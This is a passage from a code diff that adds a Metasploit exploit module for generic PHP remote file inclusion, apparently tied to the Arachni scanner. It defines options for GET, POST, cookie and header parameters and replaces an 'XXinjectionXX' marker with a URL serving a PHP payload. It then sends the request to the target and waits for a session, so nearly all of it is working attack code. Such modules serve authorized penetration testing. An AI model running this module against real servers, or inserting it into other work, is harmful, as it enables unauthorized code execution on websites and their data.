+ 'License' => MSF_LICENSE,
29
+ 'Version' => '$Revision: 10694 $',
30
+ 'References' =>
31
+ [
32
+ ['URL', 'http://github.com/Zapotek/arachni'],
33
+ ],
34
+ 'Privileged' => false,
35
+ 'Payload' =>
36
+ {
37
+ 'DisableNops' => true,
38
+ 'Compat' =>
39
+ {
40
+ 'ConnectionType' => 'find',
41
+ },
42
+ # Arbitrary big number. The payload gets sent as an HTTP
43
+ # response body, so really it's unlimited
44
+ 'Space' => 262144, # 256k
45
+ },
46
+ 'DefaultOptions' =>
47
+ {
48
+ 'WfsDelay' => 30
49
+ },
50
+ 'Platform' => 'php',
51
+ 'Arch' => ARCH_PHP,
52
+ 'Targets' => [[ 'Automatic', { }]],
53
+ 'DefaultTarget' => 0 ) )
54
+
55
+ register_options( [
56
+ OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
57
+ OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
58
+ OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
59
+ OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar::vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
60
+ OptString.new( 'PATH', [ true, "The path to the vulnerable script.", "/cgi-bin/generic" ] ),
61
+ ], self.class )
62
+ end
63
+
64
+ def check
65
+ uri = datastore['PATH'] ? datastore['PATH'].dup : ""
66
+
67
+ if( uri && ! uri.empty? )
68
+
69
+ uri.gsub!( /\?.*/, "" )
70
+
71
+ print_status( "Checking uri #{uri}" )
72
+
73
+ response = send_request_raw({ 'uri' => uri})
74
+ if response.code == 200
75
+ return Exploit::CheckCode::Detected
76
+ end
77
+
78
+ print_error( "Server responded with #{response.code}" )
79
+ return Exploit::CheckCode::Safe
80
+ else
81
+ return Exploit::CheckCode::Unknown
82
+ end
83
+
84
+ end
85
+
86
+ def php_exploit
87
+
88
+ cookies = _sub_injection( datastore['COOKIES'].to_s, ';' )
89
+ headers = _str_to_hash( _sub_injection( datastore['HEADERS'].to_s, '::' ), '::' )
90
+ post = _str_to_hash( _sub_injection( datastore['POST'].to_s ) )
91
+ get = _str_to_hash( _sub_injection( datastore['GET'].to_s ) )
92
+ uri = datastore['PATH'].to_s
93
+ method = post.empty? ? 'GET' : 'POST'
94
+
95
+ if( post.empty? && get.empty? && headers.empty? && cookies.empty? )
96
+ print_error( 'At least one of GET/POST/COOKIES/HEADERS must be set.' )
97
+ return
98
+ end
99
+
100
+ print_status( "Sending HTTP request for #{uri}" )
101
+ res = send_request_cgi( {
102
+ 'global' => true,
103
+ 'uri' => uri,
104
+ 'method' => method,
105
+ 'vars_get' => get,
106
+ 'vars_post' => post,
107
+ 'headers' => headers,
108
+ 'cookie' => cookies
109
+ }, 0.01 )
110
+
111
+ handler
112
+ end
113
+
114
+ #
115
+ # Converts a URI styled query string into a key=>value hash
116
+ #
117
+ def _str_to_hash( str, sep = '&' )
118
+ hash = {}
119
+ str.split( sep ).map do |part|
120
+ splits = part.split( '=', 2 )
121
+ next if !splits[0] || !splits[1]
122
+ hash[splits[0]] = splits[1]
123
+ end
124
+
125
+ return hash
126
+ end
127
+
128
+ #
129
+ # Substitutes 'XXinjectionXX' in values of a URI styled query string with the
130
+ # payload
131
+ #
132
+ def _sub_injection( str, sep = '&' )
133
+
134
+ return str.to_s.split( sep ).map do |var|
135
+ k,v = var.split( '=', 2 )
136
+ next if !v || !k
137
+ k + "=" + v.gsub( 'XXinjectionXX', php_include_url )
138
+ end.reject do |i| !i end.join( sep )
139
+ end
140
+
141
+ end